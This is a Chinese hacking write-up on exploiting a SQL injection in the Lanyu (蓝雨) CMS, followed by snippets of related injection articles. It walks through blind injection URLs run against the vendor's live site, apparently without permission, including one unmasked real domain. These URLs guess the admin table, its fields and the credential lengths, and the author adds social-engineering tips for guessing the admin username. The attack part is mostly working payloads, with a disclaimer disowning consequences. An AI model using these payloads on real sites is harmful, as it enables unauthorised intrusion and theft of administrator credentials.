蓝雨设计整站SQL注入漏洞

本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关

最近无聊,在网上走来走去看看。发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?

一,确定注入点

我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交http://***.net/view.asp?action=art&art_id=70 and 1=1 返回以下信息。

再次输入

http://***.net/view.asp?action=art&art_id=70%20and%201=2 返回以下信息

从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。

二,猜解数据库表

因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊(HaK_BaN:难道真的....真的要我手动注入T_T)NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交

http://***.net/view.asp?action=art&art_id=70%20and%200????(select%20count(*)%20from%20admin) 现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。

三,猜解数据库字段

在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“蓝雨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(HaK_BaN:我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性阿)

废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(name)??0) (HaK_BaN:*_*不是阿!不是NAME字段阿)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??0) (HaK_BaN:这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。

然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_password)??0) 信息回显正常对吧!?哈哈哈

说到这里整个猜解就差不多完场了!(菜鸟:什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“蓝雨”是管理员账号。我们就有两种可能性,一是蓝雨的拼音“lanyu”,二是蓝雨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??5) 页面信息返回无法正常显示。然后再提交http://fj126.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??4)这下子页面可算是正常了!然后再次提交语句为http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)=5)我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.net/view.asp?action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_password)=16)这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。(HaK_BaN:说真的我很久没有手动了,都差不多腰酸背痛了!)至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:lanyu是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!

四,总结

整个程序的SQL注入页面有几个,都是基于蓝雨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到非安全的论坛或者BCT小组找我!

(0)

相关推荐

  • 蓝雨设计整站SQL注入漏洞

    本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关 最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程

  • 一篇文章了解SQL注入漏洞

    目录 SQL注入漏洞原理 SQL注入内容 注入条件 SQL注释符与注入流程 SQL注入分类 SQLMap 分类 接受请求类型区分 注入数据类型的区分 SQL注入思路 手工注入思路 SQL 详细注入过程 总结 SQL注入漏洞原理 漏洞原理   web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑.黑客利用此漏洞执行恶意的SQL语句,如查询数据.下载数据,写webshell.执行系统命令以此来绕过登录权限限制等. 检测方法  

  • 利用SQL注入漏洞拖库的方法

    想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制代码 代码如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

  • 利用SQL注入漏洞登录后台的实现方法

    早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.

  • PJBlog存在SQL注入漏洞大家要快下补丁了

    根据我们针对PJBlog进行的程序代码审计发现,PJBlog多个页面存在SQL注入漏洞,致使恶意用户可以利用注入漏洞拿到管理员帐号密码,并且进行恶意攻击. 我们强烈建议使用PJBlog的用户立刻检查一下您的系统是否受此漏洞影响,并紧密的关注PJBlog官方所发布的安全更新 官方补丁: http://bbs.pjhome.net/thread-26090-1-1.html

  • 对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析

    ThinkPHP官网上曾有一段公告指出,在ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入"的方法解释(参考http://doc.thinkphp.cn/manual/sql_injection.html) 使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果: $Model->where("id=%d and usern

  • PHPCMS2008广告模板SQL注入漏洞修复

    00 漏洞描述 PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透. 01 漏洞分析 漏洞产生的位置: /ads/include/ads_place.class.php的show方法中. function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] =

  • PHP 小心urldecode引发的SQL注入漏洞

    Ihipop 学校的 Discuz X1.5 论坛被黑,在那里吵了一个下午.Google 一下"Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit",你就知道. Discuz 是国内很流行的论坛系统,被黑的网站应该会很多吧.不过我对入侵别人的网站不感兴趣,同时也鄙视那些代码都不会写只会使用别人放出的工具攻击的所谓的"黑客". 粗略看了一下代码,这个 SQL 注入漏洞是 urldecode 函数造成

  • php中sql注入漏洞示例 sql注入漏洞修复

    在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下. 一.SQL注入的步骤 a)  寻找注入点(如:登录界面.留言板等) b)  用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c)  将sql语句发送给数据库管理系统(DBMS) d)  DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e)  DBMS接

  • asp终极防范SQL注入漏洞

    下面给出4个函数,足够你抵挡一切SQL注入漏洞!读懂代码,你就能融会贯通. 注意要对所有的request对象进行过滤:包括 request.cookie, request.ServerVariables 等等容易被忽视的对象: 复制代码 代码如下: function killn(byval s1) '过滤数值型参数 if not isnumeric(s1) then killn=0 else if s1<0 or s1>2147483647 then killn=0 else killn=cl

随机推荐